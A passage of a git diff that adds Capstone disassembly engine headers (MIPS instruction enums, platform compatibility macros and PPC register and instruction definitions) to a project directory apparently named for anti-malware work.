MIPS_INS_FADD, + MIPS_INS_FCAF, + MIPS_INS_FCEQ, + MIPS_INS_FCLASS, + MIPS_INS_FCLE, + MIPS_INS_FCLT, + MIPS_INS_FCNE, + MIPS_INS_FCOR, + MIPS_INS_FCUEQ, + MIPS_INS_FCULE, + MIPS_INS_FCULT, + MIPS_INS_FCUNE, + MIPS_INS_FCUN, + MIPS_INS_FDIV, + MIPS_INS_FEXDO, + MIPS_INS_FEXP2, + MIPS_INS_FEXUPL, + MIPS_INS_FEXUPR, + MIPS_INS_FFINT_S, + MIPS_INS_FFINT_U, + MIPS_INS_FFQL, + MIPS_INS_FFQR, + MIPS_INS_FILL, + MIPS_INS_FLOG2, + MIPS_INS_FLOOR, + MIPS_INS_FMADD, + MIPS_INS_FMAX_A, + MIPS_INS_FMAX, + MIPS_INS_FMIN_A, + MIPS_INS_FMIN, + MIPS_INS_MOV, + MIPS_INS_FMSUB, + MIPS_INS_FMUL, + MIPS_INS_MUL, + MIPS_INS_NEG, + MIPS_INS_FRCP, + MIPS_INS_FRINT, + MIPS_INS_FRSQRT, + MIPS_INS_FSAF, + MIPS_INS_FSEQ, + MIPS_INS_FSLE, + MIPS_INS_FSLT, + MIPS_INS_FSNE, + MIPS_INS_FSOR, + MIPS_INS_FSQRT, + MIPS_INS_SQRT, + MIPS_INS_FSUB, + MIPS_INS_SUB, + MIPS_INS_FSUEQ, + MIPS_INS_FSULE, + MIPS_INS_FSULT, + MIPS_INS_FSUNE, + MIPS_INS_FSUN, + MIPS_INS_FTINT_S, + MIPS_INS_FTINT_U, + MIPS_INS_FTQ, + MIPS_INS_FTRUNC_S, + MIPS_INS_FTRUNC_U, + MIPS_INS_HADD_S, + MIPS_INS_HADD_U, + MIPS_INS_HSUB_S, + MIPS_INS_HSUB_U, + MIPS_INS_ILVEV, + MIPS_INS_ILVL, + MIPS_INS_ILVOD, + MIPS_INS_ILVR, + MIPS_INS_INS, + MIPS_INS_INSERT, + MIPS_INS_INSV, + MIPS_INS_INSVE, + MIPS_INS_J, + MIPS_INS_JAL, + MIPS_INS_JALR, + MIPS_INS_JALRS16, + MIPS_INS_JALRS, + MIPS_INS_JALS, + MIPS_INS_JALX, + MIPS_INS_JIALC, + MIPS_INS_JIC, + MIPS_INS_JR, + MIPS_INS_JR16, + MIPS_INS_JRADDIUSP, + MIPS_INS_JRC, + MIPS_INS_JALRC, + MIPS_INS_LB, + MIPS_INS_LBU16, + MIPS_INS_LBUX, + MIPS_INS_LBU, + MIPS_INS_LD, + MIPS_INS_LDC1, + MIPS_INS_LDC2, + MIPS_INS_LDC3, + MIPS_INS_LDI, + MIPS_INS_LDL, + MIPS_INS_LDPC, + MIPS_INS_LDR, + MIPS_INS_LDXC1, + MIPS_INS_LH, + MIPS_INS_LHU16, + MIPS_INS_LHX, + MIPS_INS_LHU, + MIPS_INS_LI16, + MIPS_INS_LL, + MIPS_INS_LLD, + MIPS_INS_LSA, + MIPS_INS_LUXC1, + MIPS_INS_LUI, + MIPS_INS_LW, + MIPS_INS_LW16, + MIPS_INS_LWC1, + MIPS_INS_LWC2, + MIPS_INS_LWC3, + MIPS_INS_LWL, + MIPS_INS_LWM16, + MIPS_INS_LWM32, + MIPS_INS_LWPC, + MIPS_INS_LWP, + MIPS_INS_LWR, + MIPS_INS_LWUPC, + MIPS_INS_LWU, + MIPS_INS_LWX, + MIPS_INS_LWXC1, + MIPS_INS_LWXS, + MIPS_INS_LI, + MIPS_INS_MADD, + MIPS_INS_MADDF, + MIPS_INS_MADDR_Q, + MIPS_INS_MADDU, + MIPS_INS_MADDV, + MIPS_INS_MADD_Q, + MIPS_INS_MAQ_SA, + MIPS_INS_MAQ_S, + MIPS_INS_MAXA, + MIPS_INS_MAXI_S, + MIPS_INS_MAXI_U, + MIPS_INS_MAX_A, + MIPS_INS_MAX, + MIPS_INS_MAX_S, + MIPS_INS_MAX_U, + MIPS_INS_MFC0, + MIPS_INS_MFC1, + MIPS_INS_MFC2, + MIPS_INS_MFHC1, + MIPS_INS_MFHI, + MIPS_INS_MFLO, + MIPS_INS_MINA, + MIPS_INS_MINI_S, + MIPS_INS_MINI_U, + MIPS_INS_MIN_A, + MIPS_INS_MIN, + MIPS_INS_MIN_S, + MIPS_INS_MIN_U, + MIPS_INS_MOD, + MIPS_INS_MODSUB, + MIPS_INS_MODU, + MIPS_INS_MOD_S, + MIPS_INS_MOD_U, + MIPS_INS_MOVE, + MIPS_INS_MOVEP, + MIPS_INS_MOVF, + MIPS_INS_MOVN, + MIPS_INS_MOVT, + MIPS_INS_MOVZ, + MIPS_INS_MSUB, + MIPS_INS_MSUBF, + MIPS_INS_MSUBR_Q, + MIPS_INS_MSUBU, + MIPS_INS_MSUBV, + MIPS_INS_MSUB_Q, + MIPS_INS_MTC0, + MIPS_INS_MTC1, + MIPS_INS_MTC2, + MIPS_INS_MTHC1, + MIPS_INS_MTHI, + MIPS_INS_MTHLIP, + MIPS_INS_MTLO, + MIPS_INS_MTM0, + MIPS_INS_MTM1, + MIPS_INS_MTM2, + MIPS_INS_MTP0, + MIPS_INS_MTP1, + MIPS_INS_MTP2, + MIPS_INS_MUH, + MIPS_INS_MUHU, + MIPS_INS_MULEQ_S, + MIPS_INS_MULEU_S, + MIPS_INS_MULQ_RS, + MIPS_INS_MULQ_S, + MIPS_INS_MULR_Q, + MIPS_INS_MULSAQ_S, + MIPS_INS_MULSA, + MIPS_INS_MULT, + MIPS_INS_MULTU, + MIPS_INS_MULU, + MIPS_INS_MULV, + MIPS_INS_MUL_Q, + MIPS_INS_MUL_S, + MIPS_INS_NLOC, + MIPS_INS_NLZC, + MIPS_INS_NMADD, + MIPS_INS_NMSUB, + MIPS_INS_NOR, + MIPS_INS_NORI, + MIPS_INS_NOT16, + MIPS_INS_NOT, + MIPS_INS_OR, + MIPS_INS_OR16, + MIPS_INS_ORI, + MIPS_INS_PACKRL, + MIPS_INS_PAUSE, + MIPS_INS_PCKEV, + MIPS_INS_PCKOD, + MIPS_INS_PCNT, + MIPS_INS_PICK, + MIPS_INS_POP, + MIPS_INS_PRECEQU, + MIPS_INS_PRECEQ, + MIPS_INS_PRECEU, + MIPS_INS_PRECRQU_S, + MIPS_INS_PRECRQ, + MIPS_INS_PRECRQ_RS, + MIPS_INS_PRECR, + MIPS_INS_PRECR_SRA, + MIPS_INS_PRECR_SRA_R, + MIPS_INS_PREF, + MIPS_INS_PREPEND, + MIPS_INS_RADDU, + MIPS_INS_RDDSP, + MIPS_INS_RDHWR, + MIPS_INS_REPLV, + MIPS_INS_REPL, + MIPS_INS_RINT, + MIPS_INS_ROTR, + MIPS_INS_ROTRV, + MIPS_INS_ROUND, + MIPS_INS_SAT_S, + MIPS_INS_SAT_U, + MIPS_INS_SB, + MIPS_INS_SB16, + MIPS_INS_SC, + MIPS_INS_SCD, + MIPS_INS_SD, + MIPS_INS_SDBBP, + MIPS_INS_SDBBP16, + MIPS_INS_SDC1, + MIPS_INS_SDC2, + MIPS_INS_SDC3, + MIPS_INS_SDL, + MIPS_INS_SDR, + MIPS_INS_SDXC1, + MIPS_INS_SEB, + MIPS_INS_SEH, + MIPS_INS_SELEQZ, + MIPS_INS_SELNEZ, + MIPS_INS_SEL, + MIPS_INS_SEQ, + MIPS_INS_SEQI, + MIPS_INS_SH, + MIPS_INS_SH16, + MIPS_INS_SHF, + MIPS_INS_SHILO, + MIPS_INS_SHILOV, + MIPS_INS_SHLLV, + MIPS_INS_SHLLV_S, + MIPS_INS_SHLL, + MIPS_INS_SHLL_S, + MIPS_INS_SHRAV, + MIPS_INS_SHRAV_R, + MIPS_INS_SHRA, + MIPS_INS_SHRA_R, + MIPS_INS_SHRLV, + MIPS_INS_SHRL, + MIPS_INS_SLDI, + MIPS_INS_SLD, + MIPS_INS_SLL, + MIPS_INS_SLL16, + MIPS_INS_SLLI, + MIPS_INS_SLLV, + MIPS_INS_SLT, + MIPS_INS_SLTI, + MIPS_INS_SLTIU, + MIPS_INS_SLTU, + MIPS_INS_SNE, + MIPS_INS_SNEI, + MIPS_INS_SPLATI, + MIPS_INS_SPLAT, + MIPS_INS_SRA, + MIPS_INS_SRAI, + MIPS_INS_SRARI, + MIPS_INS_SRAR, + MIPS_INS_SRAV, + MIPS_INS_SRL, + MIPS_INS_SRL16, + MIPS_INS_SRLI, + MIPS_INS_SRLRI, + MIPS_INS_SRLR, + MIPS_INS_SRLV, + MIPS_INS_SSNOP, + MIPS_INS_ST, + MIPS_INS_SUBQH, + MIPS_INS_SUBQH_R, + MIPS_INS_SUBQ, + MIPS_INS_SUBQ_S, + MIPS_INS_SUBSUS_U, + MIPS_INS_SUBSUU_S, + MIPS_INS_SUBS_S, + MIPS_INS_SUBS_U, + MIPS_INS_SUBU16, + MIPS_INS_SUBUH, + MIPS_INS_SUBUH_R, + MIPS_INS_SUBU, + MIPS_INS_SUBU_S, + MIPS_INS_SUBVI, + MIPS_INS_SUBV, + MIPS_INS_SUXC1, + MIPS_INS_SW, + MIPS_INS_SW16, + MIPS_INS_SWC1, + MIPS_INS_SWC2, + MIPS_INS_SWC3, + MIPS_INS_SWL, + MIPS_INS_SWM16, + MIPS_INS_SWM32, + MIPS_INS_SWP, + MIPS_INS_SWR, + MIPS_INS_SWXC1, + MIPS_INS_SYNC, + MIPS_INS_SYNCI, + MIPS_INS_SYSCALL, + MIPS_INS_TEQ, + MIPS_INS_TEQI, + MIPS_INS_TGE, + MIPS_INS_TGEI, + MIPS_INS_TGEIU, + MIPS_INS_TGEU, + MIPS_INS_TLBP, + MIPS_INS_TLBR, + MIPS_INS_TLBWI, + MIPS_INS_TLBWR, + MIPS_INS_TLT, + MIPS_INS_TLTI, + MIPS_INS_TLTIU, + MIPS_INS_TLTU, + MIPS_INS_TNE, + MIPS_INS_TNEI, + MIPS_INS_TRUNC, + MIPS_INS_V3MULU, + MIPS_INS_VMM0, + MIPS_INS_VMULU, + MIPS_INS_VSHF, + MIPS_INS_WAIT, + MIPS_INS_WRDSP, + MIPS_INS_WSBH, + MIPS_INS_XOR, + MIPS_INS_XOR16, + MIPS_INS_XORI, + + //> some alias instructions + MIPS_INS_NOP, + MIPS_INS_NEGU, + + //> special instructions + MIPS_INS_JALR_HB, // jump and link with Hazard Barrier + MIPS_INS_JR_HB, // jump register with Hazard Barrier + + MIPS_INS_ENDING, +} mips_insn; + +/// Group of MIPS instructions +typedef enum mips_insn_group { + MIPS_GRP_INVALID = 0, ///< = CS_GRP_INVALID + + // Generic groups + // all jump instructions (conditional+direct+indirect jumps) + MIPS_GRP_JUMP, ///< = CS_GRP_JUMP + // all call instructions + MIPS_GRP_CALL, ///< = CS_GRP_CALL + // all return instructions + MIPS_GRP_RET, ///< = CS_GRP_RET + // all interrupt instructions (int+syscall) + MIPS_GRP_INT, ///< = CS_GRP_INT + // all interrupt return instructions + MIPS_GRP_IRET, ///< = CS_GRP_IRET + // all privileged instructions + MIPS_GRP_PRIVILEGE, ///< = CS_GRP_PRIVILEGE + // all relative branching instructions + MIPS_GRP_BRANCH_RELATIVE, ///< = CS_GRP_BRANCH_RELATIVE + + // Architecture-specific groups + MIPS_GRP_BITCOUNT = 128, + MIPS_GRP_DSP, + MIPS_GRP_DSPR2, + MIPS_GRP_FPIDX, + MIPS_GRP_MSA, + MIPS_GRP_MIPS32R2, + MIPS_GRP_MIPS64, + MIPS_GRP_MIPS64R2, + MIPS_GRP_SEINREG, + MIPS_GRP_STDENC, + MIPS_GRP_SWAP, + MIPS_GRP_MICROMIPS, + MIPS_GRP_MIPS16MODE, + MIPS_GRP_FP64BIT, + MIPS_GRP_NONANSFPMATH, + MIPS_GRP_NOTFP64BIT, + MIPS_GRP_NOTINMICROMIPS, + MIPS_GRP_NOTNACL, + MIPS_GRP_NOTMIPS32R6, + MIPS_GRP_NOTMIPS64R6, + MIPS_GRP_CNMIPS, + MIPS_GRP_MIPS32, + MIPS_GRP_MIPS32R6, + MIPS_GRP_MIPS64R6, + MIPS_GRP_MIPS2, + MIPS_GRP_MIPS3, + MIPS_GRP_MIPS3_32, + MIPS_GRP_MIPS3_32R2, + MIPS_GRP_MIPS4_32, + MIPS_GRP_MIPS4_32R2, + MIPS_GRP_MIPS5_32R2, + MIPS_GRP_GP32BIT, + MIPS_GRP_GP64BIT, + + MIPS_GRP_ENDING, +} mips_insn_group; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/platform.h b/ai_anti_malware/capstone/include/capstone/platform.h new file mode 100644 index 0000000..a5a4bd2 --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/platform.h @@ -0,0 +1,122 @@ +/* Capstone Disassembly Engine */ +/* By Axel Souchet & Nguyen Anh Quynh, 2014 */ + +#ifndef CAPSTONE_PLATFORM_H +#define CAPSTONE_PLATFORM_H + + +// handle C99 issue (for pre-2013 VisualStudio) +#if !defined(__CYGWIN__) && !defined(__MINGW32__) && !defined(__MINGW64__) && (defined (WIN32) || defined (WIN64) || defined (_WIN32) || defined (_WIN64)) +// MSVC + +// stdbool.h +#if (_MSC_VER < 1800) || defined(_KERNEL_MODE) +// this system does not have stdbool.h +#ifndef __cplusplus +typedef unsigned char bool; +#define false 0 +#define true 1 +#endif // __cplusplus + +#else +// VisualStudio 2013+ -> C99 is supported +#include +#endif // (_MSC_VER < 1800) || defined(_KERNEL_MODE) + +#else +// not MSVC -> C99 is supported +#include +#endif // !defined(__CYGWIN__) && !defined(__MINGW32__) && !defined(__MINGW64__) && (defined (WIN32) || defined (WIN64) || defined (_WIN32) || defined (_WIN64)) + + +// handle inttypes.h / stdint.h compatibility +#if defined(_WIN32_WCE) && (_WIN32_WCE < 0x800) +#include "windowsce/stdint.h" +#endif // defined(_WIN32_WCE) && (_WIN32_WCE < 0x800) + +#if defined(CAPSTONE_HAS_OSXKERNEL) || (defined(_MSC_VER) && (_MSC_VER <= 1700 || defined(_KERNEL_MODE))) +// this system does not have inttypes.h + +#if defined(_MSC_VER) && (_MSC_VER <= 1600 || defined(_KERNEL_MODE)) +// this system does not have stdint.h +typedef signed char int8_t; +typedef signed short int16_t; +typedef signed int int32_t; +typedef unsigned char uint8_t; +typedef unsigned short uint16_t; +typedef unsigned int uint32_t; +typedef signed long long int64_t; +typedef unsigned long long uint64_t; +#endif // defined(_MSC_VER) && (_MSC_VER <= 1600 || defined(_KERNEL_MODE)) + +#if defined(_MSC_VER) && (_MSC_VER < 1600 || defined(_KERNEL_MODE)) +#define INT8_MIN (-127i8 - 1) +#define INT16_MIN (-32767i16 - 1) +#define INT32_MIN (-2147483647i32 - 1) +#define INT64_MIN (-9223372036854775807i64 - 1) +#define INT8_MAX 127i8 +#define INT16_MAX 32767i16 +#define INT32_MAX 2147483647i32 +#define INT64_MAX 9223372036854775807i64 +#define UINT8_MAX 0xffui8 +#define UINT16_MAX 0xffffui16 +#define UINT32_MAX 0xffffffffui32 +#define UINT64_MAX 0xffffffffffffffffui64 +#endif // defined(_MSC_VER) && (_MSC_VER < 1600 || defined(_KERNEL_MODE)) + +#ifdef CAPSTONE_HAS_OSXKERNEL +// this system has stdint.h +#include +#endif + +#define __PRI_8_LENGTH_MODIFIER__ "hh" +#define __PRI_64_LENGTH_MODIFIER__ "ll" + +#define PRId8 __PRI_8_LENGTH_MODIFIER__ "d" +#define PRIi8 __PRI_8_LENGTH_MODIFIER__ "i" +#define PRIo8 __PRI_8_LENGTH_MODIFIER__ "o" +#define PRIu8 __PRI_8_LENGTH_MODIFIER__ "u" +#define PRIx8 __PRI_8_LENGTH_MODIFIER__ "x" +#define PRIX8 __PRI_8_LENGTH_MODIFIER__ "X" + +#define PRId16 "hd" +#define PRIi16 "hi" +#define PRIo16 "ho" +#define PRIu16 "hu" +#define PRIx16 "hx" +#define PRIX16 "hX" + +#if defined(_MSC_VER) && _MSC_VER <= 1700 +#define PRId32 "ld" +#define PRIi32 "li" +#define PRIo32 "lo" +#define PRIu32 "lu" +#define PRIx32 "lx" +#define PRIX32 "lX" +#else // OSX +#define PRId32 "d" +#define PRIi32 "i" +#define PRIo32 "o" +#define PRIu32 "u" +#define PRIx32 "x" +#define PRIX32 "X" +#endif // defined(_MSC_VER) && _MSC_VER <= 1700 + +#if defined(_MSC_VER) && _MSC_VER <= 1700 +// redefine functions from inttypes.h used in cstool +#define strtoull _strtoui64 +#endif + +#define PRId64 __PRI_64_LENGTH_MODIFIER__ "d" +#define PRIi64 __PRI_64_LENGTH_MODIFIER__ "i" +#define PRIo64 __PRI_64_LENGTH_MODIFIER__ "o" +#define PRIu64 __PRI_64_LENGTH_MODIFIER__ "u" +#define PRIx64 __PRI_64_LENGTH_MODIFIER__ "x" +#define PRIX64 __PRI_64_LENGTH_MODIFIER__ "X" + +#else +// this system has inttypes.h by default +#include +#endif // defined(CAPSTONE_HAS_OSXKERNEL) || (defined(_MSC_VER) && (_MSC_VER <= 1700 || defined(_KERNEL_MODE))) + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/ppc.h b/ai_anti_malware/capstone/include/capstone/ppc.h new file mode 100644 index 0000000..97ce15b --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/ppc.h @@ -0,0 +1,1463 @@ +#ifndef CAPSTONE_PPC_H +#define CAPSTONE_PPC_H + +/* Capstone Disassembly Engine */ +/* By Nguyen Anh Quynh , 2013-2015 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +/// PPC branch codes for some branch instructions +typedef enum ppc_bc { + PPC_BC_INVALID = 0, + PPC_BC_LT = (0 << 5) | 12, + PPC_BC_LE = (1 << 5) | 4, + PPC_BC_EQ = (2 << 5) | 12, + PPC_BC_GE = (0 << 5) | 4, + PPC_BC_GT = (1 << 5) | 12, + PPC_BC_NE = (2 << 5) | 4, + PPC_BC_UN = (3 << 5) | 12, + PPC_BC_NU = (3 << 5) | 4, + + // extra conditions + PPC_BC_SO = (4 << 5) | 12, ///< summary overflow + PPC_BC_NS = (4 << 5) | 4, ///< not summary overflow +} ppc_bc; + +/// PPC branch hint for some branch instructions +typedef enum ppc_bh { + PPC_BH_INVALID = 0, ///< no hint + PPC_BH_PLUS, ///< PLUS hint + PPC_BH_MINUS, ///< MINUS hint +} ppc_bh; + +/// Operand type for instruction's operands +typedef enum ppc_op_type { + PPC_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + PPC_OP_REG, ///< = CS_OP_REG (Register operand). + PPC_OP_IMM, ///< = CS_OP_IMM (Immediate operand). + PPC_OP_MEM, ///< = CS_OP_MEM (Memory operand). + PPC_OP_CRX = 64, ///< Condition Register field +} ppc_op_type; + +/// PPC registers +typedef enum ppc_reg { + PPC_REG_INVALID = 0, + + PPC_REG_CARRY, + PPC_REG_CR0, + PPC_REG_CR1, + PPC_REG_CR2, + PPC_REG_CR3, + PPC_REG_CR4, + PPC_REG_CR5, + PPC_REG_CR6, + PPC_REG_CR7, + PPC_REG_CTR, + PPC_REG_F0, + PPC_REG_F1, + PPC_REG_F2, + PPC_REG_F3, + PPC_REG_F4, + PPC_REG_F5, + PPC_REG_F6, + PPC_REG_F7, + PPC_REG_F8, + PPC_REG_F9, + PPC_REG_F10, + PPC_REG_F11, + PPC_REG_F12, + PPC_REG_F13, + PPC_REG_F14, + PPC_REG_F15, + PPC_REG_F16, + PPC_REG_F17, + PPC_REG_F18, + PPC_REG_F19, + PPC_REG_F20, + PPC_REG_F21, + PPC_REG_F22, + PPC_REG_F23, + PPC_REG_F24, + PPC_REG_F25, + PPC_REG_F26, + PPC_REG_F27, + PPC_REG_F28, + PPC_REG_F29, + PPC_REG_F30, + PPC_REG_F31, + PPC_REG_LR, + PPC_REG_R0, + PPC_REG_R1, + PPC_REG_R2, + PPC_REG_R3, + PPC_REG_R4, + PPC_REG_R5, + PPC_REG_R6, + PPC_REG_R7, + PPC_REG_R8, + PPC_REG_R9, + PPC_REG_R10, + PPC_REG_R11, + PPC_REG_R12, + PPC_REG_R13, + PPC_REG_R14, + PPC_REG_R15, + PPC_REG_R16, + PPC_REG_R17, + PPC_REG_R18, + PPC_REG_R19, + PPC_REG_R20, + PPC_REG_R21, + PPC_REG_R22, + PPC_REG_R23, + PPC_REG_R24, + PPC_REG_R25, + PPC_REG_R26, + PPC_REG_R27, + PPC_REG_R28, + PPC_REG_R29, + PPC_REG_R30, + PPC_REG_R31, + PPC_REG_V0, + PPC_REG_V1, + PPC_REG_V2, + PPC_REG_V3, + PPC_REG_V4, + PPC_REG_V5, + PPC_REG_V6, + PPC_REG_V7, + PPC_REG_V8, + PPC_REG_V9, + PPC_REG_V10, + PPC_REG_V11, + PPC_REG_V12, + PPC_REG_V13, + PPC_REG_V14, + PPC_REG_V15, + PPC_REG_V16, + PPC_REG_V17, + PPC_REG_V18, + PPC_REG_V19, + PPC_REG_V20, + PPC_REG_V21, + PPC_REG_V22, + PPC_REG_V23, + PPC_REG_V24, + PPC_REG_V25, + PPC_REG_V26, + PPC_REG_V27, + PPC_REG_V28, + PPC_REG_V29, + PPC_REG_V30, + PPC_REG_V31, + PPC_REG_VRSAVE, + PPC_REG_VS0, + PPC_REG_VS1, + PPC_REG_VS2, + PPC_REG_VS3, + PPC_REG_VS4, + PPC_REG_VS5, + PPC_REG_VS6, + PPC_REG_VS7, + PPC_REG_VS8, + PPC_REG_VS9, + PPC_REG_VS10, + PPC_REG_VS11, + PPC_REG_VS12, + PPC_REG_VS13, + PPC_REG_VS14, + PPC_REG_VS15, + PPC_REG_VS16, + PPC_REG_VS17, + PPC_REG_VS18, + PPC_REG_VS19, + PPC_REG_VS20, + PPC_REG_VS21, + PPC_REG_VS22, + PPC_REG_VS23, + PPC_REG_VS24, + PPC_REG_VS25, + PPC_REG_VS26, + PPC_REG_VS27, + PPC_REG_VS28, + PPC_REG_VS29, + PPC_REG_VS30, + PPC_REG_VS31, + PPC_REG_VS32, + PPC_REG_VS33, + PPC_REG_VS34, + PPC_REG_VS35, + PPC_REG_VS36, + PPC_REG_VS37, + PPC_REG_VS38, + PPC_REG_VS39, + PPC_REG_VS40, + PPC_REG_VS41, + PPC_REG_VS42, + PPC_REG_VS43, + PPC_REG_VS44, + PPC_REG_VS45, + PPC_REG_VS46, + PPC_REG_VS47, + PPC_REG_VS48, + PPC_REG_VS49, + PPC_REG_VS50, + PPC_REG_VS51, + PPC_REG_VS52, + PPC_REG_VS53, + PPC_REG_VS54, + PPC_REG_VS55, + PPC_REG_VS56, + PPC_REG_VS57, + PPC_REG_VS58, + PPC_REG_VS59, + PPC_REG_VS60, + PPC_REG_VS61, + PPC_REG_VS62, + PPC_REG_VS63, + PPC_REG_Q0, + PPC_REG_Q1, + PPC_REG_Q2, + PPC_REG_Q3, + PPC_REG_Q4, + PPC_REG_Q5, + PPC_REG_Q6, + PPC_REG_Q7, + PPC_REG_Q8, + PPC_REG_Q9, + PPC_REG_Q10, + PPC_REG_Q11, + PPC_REG_Q12, + PPC_REG_Q13, + PPC_REG_Q14, + PPC_REG_Q15, + PPC_REG_Q16, + PPC_REG_Q17, + PPC_REG_Q18, + PPC_REG_Q19, + PPC_REG_Q20, + PPC_REG_Q21, + PPC_REG_Q22, + PPC_REG_Q23, + PPC_REG_Q24, + PPC_REG_Q25, + PPC_REG_Q26, + PPC_REG_Q27, + PPC_REG_Q28, + PPC_REG_Q29, + PPC_REG_Q30, + PPC_REG_Q31, + + // extra registers for PPCMapping.c + PPC_REG_RM, + PPC_REG_CTR8, + PPC_REG_LR8, + PPC_REG_CR1EQ, + PPC_REG_X2, + + PPC_REG_ENDING, // <-- mark the end of the list of registers +} ppc_reg; + +/// Instruction's operand referring to memory +/// This is associated with PPC_OP_MEM operand type above +typedef struct ppc_op_mem { + ppc_reg base; ///< base register + int32_t disp; ///< displacement/offset value +} ppc_op_mem; + +typedef struct ppc_op_crx { + unsigned int scale; + ppc_reg reg; + ppc_bc cond; +} ppc_op_crx; + +/// Instruction operand +typedef struct cs_ppc_op { + ppc_op_type type; ///< operand type + union { + ppc_reg reg; ///< register value for REG operand + int64_t imm; ///< immediate value for IMM operand + ppc_op_mem mem; ///< base/disp value for MEM operand + ppc_op_crx crx; ///< operand with condition register + }; +} cs_ppc_op; + +/// Instruction structure +typedef struct cs_ppc { + /// branch code for branch instructions + ppc_bc bc; + + /// branch hint for branch instructions + ppc_bh bh; + + /// if update_cr0 = True, then this 'dot' insn updates CR0 + bool update_cr0; + + /// Number of operands of this instruction, + /// or 0 when instruction has no operand. + uint8_t op_count; + cs_ppc_op operands[8]; ///< operands for this instruction. +} cs_ppc; + +/// PPC instruction +typedef enum ppc_insn { + PPC_INS_INVALID = 0, + + PPC_INS_ADD, + PPC_INS_ADDC, + PPC_INS_ADDE, + PPC_INS_ADDI, + PPC_INS_ADDIC, + PPC_INS_ADDIS, + PPC_INS_ADDME, + PPC_INS_ADDZE, + PPC_INS_AND, + PPC_INS_ANDC, + PPC_INS_ANDIS, + PPC_INS_ANDI, + PPC_INS_ATTN, + PPC_INS_B, + PPC_INS_BA, + PPC_INS_BC, + PPC_INS_BCCTR, + PPC_INS_BCCTRL, + PPC_INS_BCL, + PPC_INS_BCLR, + PPC_INS_BCLRL, + PPC_INS_BCTR, + PPC_INS_BCTRL, + PPC_INS_BCT, + PPC_INS_BDNZ, + PPC_INS_BDNZA, + PPC_INS_BDNZL, + PPC_INS_BDNZLA, + PPC_INS_BDNZLR, + PPC_INS_BDNZLRL, + PPC_INS_BDZ, + PPC_INS_BDZA, + PPC_INS_BDZL, + PPC_INS_BDZLA, + PPC_INS_BDZLR, + PPC_INS_BDZLRL, + PPC_INS_BL, + PPC_INS_BLA, + PPC_INS_BLR, + PPC_INS_BLRL, + PPC_INS_BRINC, + PPC_INS_CMPB, + PPC_INS_CMPD, + PPC_INS_CMPDI, + PPC_INS_CMPLD, + PPC_INS_CMPLDI, + PPC_INS_CMPLW, + PPC_INS_CMPLWI, + PPC_INS_CMPW, + PPC_INS_CMPWI, + PPC_INS_CNTLZD, + PPC_INS_CNTLZW, + PPC_INS_CREQV, + PPC_INS_CRXOR, + PPC_INS_CRAND, + PPC_INS_CRANDC, + PPC_INS_CRNAND, + PPC_INS_CRNOR, + PPC_INS_CROR, + PPC_INS_CRORC, + PPC_INS_DCBA, + PPC_INS_DCBF, + PPC_INS_DCBI, + PPC_INS_DCBST, + PPC_INS_DCBT, + PPC_INS_DCBTST, + PPC_INS_DCBZ, + PPC_INS_DCBZL, + PPC_INS_DCCCI, + PPC_INS_DIVD, + PPC_INS_DIVDU, + PPC_INS_DIVW, + PPC_INS_DIVWU, + PPC_INS_DSS, + PPC_INS_DSSALL, + PPC_INS_DST, + PPC_INS_DSTST, + PPC_INS_DSTSTT, + PPC_INS_DSTT, + PPC_INS_EQV, + PPC_INS_EVABS, + PPC_INS_EVADDIW, + PPC_INS_EVADDSMIAAW, + PPC_INS_EVADDSSIAAW, + PPC_INS_EVADDUMIAAW, + PPC_INS_EVADDUSIAAW, + PPC_INS_EVADDW, + PPC_INS_EVAND, + PPC_INS_EVANDC, + PPC_INS_EVCMPEQ, + PPC_INS_EVCMPGTS, + PPC_INS_EVCMPGTU, + PPC_INS_EVCMPLTS, + PPC_INS_EVCMPLTU, + PPC_INS_EVCNTLSW, + PPC_INS_EVCNTLZW, + PPC_INS_EVDIVWS, + PPC_INS_EVDIVWU, + PPC_INS_EVEQV, + PPC_INS_EVEXTSB, + PPC_INS_EVEXTSH, + PPC_INS_EVLDD, + PPC_INS_EVLDDX, + PPC_INS_EVLDH, + PPC_INS_EVLDHX, + PPC_INS_EVLDW, + PPC_INS_EVLDWX, + PPC_INS_EVLHHESPLAT, + PPC_INS_EVLHHESPLATX, + PPC_INS_EVLHHOSSPLAT, + PPC_INS_EVLHHOSSPLATX, + PPC_INS_EVLHHOUSPLAT, + PPC_INS_EVLHHOUSPLATX, + PPC_INS_EVLWHE, + PPC_INS_EVLWHEX, + PPC_INS_EVLWHOS, + PPC_INS_EVLWHOSX, + PPC_INS_EVLWHOU, + PPC_INS_EVLWHOUX, + PPC_INS_EVLWHSPLAT, + PPC_INS_EVLWHSPLATX, + PPC_INS_EVLWWSPLAT, + PPC_INS_EVLWWSPLATX, + PPC_INS_EVMERGEHI, + PPC_INS_EVMERGEHILO, + PPC_INS_EVMERGELO, + PPC_INS_EVMERGELOHI, + PPC_INS_EVMHEGSMFAA, + PPC_INS_EVMHEGSMFAN, + PPC_INS_EVMHEGSMIAA, + PPC_INS_EVMHEGSMIAN, + PPC_INS_EVMHEGUMIAA, + PPC_INS_EVMHEGUMIAN, + PPC_INS_EVMHESMF, + PPC_INS_EVMHESMFA, + PPC_INS_EVMHESMFAAW, + PPC_INS_EVMHESMFANW, + PPC_INS_EVMHESMI, + PPC_INS_EVMHESMIA, + PPC_INS_EVMHESMIAAW, + PPC_INS_EVMHESMIANW, + PPC_INS_EVMHESSF, + PPC_INS_EVMHESSFA, + PPC_INS_EVMHESSFAAW, + PPC_INS_EVMHESSFANW, + PPC_INS_EVMHESSIAAW, + PPC_INS_EVMHESSIANW, + PPC_INS_EVMHEUMI, + PPC_INS_EVMHEUMIA, + PPC_INS_EVMHEUMIAAW, + PPC_INS_EVMHEUMIANW, + PPC_INS_EVMHEUSIAAW, + PPC_INS_EVMHEUSIANW, + PPC_INS_EVMHOGSMFAA, + PPC_INS_EVMHOGSMFAN, + PPC_INS_EVMHOGSMIAA, + PPC_INS_EVMHOGSMIAN, + PPC_INS_EVMHOGUMIAA, + PPC_INS_EVMHOGUMIAN, + PPC_INS_EVMHOSMF, + PPC_INS_EVMHOSMFA, + PPC_INS_EVMHOSMFAAW, + PPC_INS_EVMHOSMFANW, + PPC_INS_EVMHOSMI, + 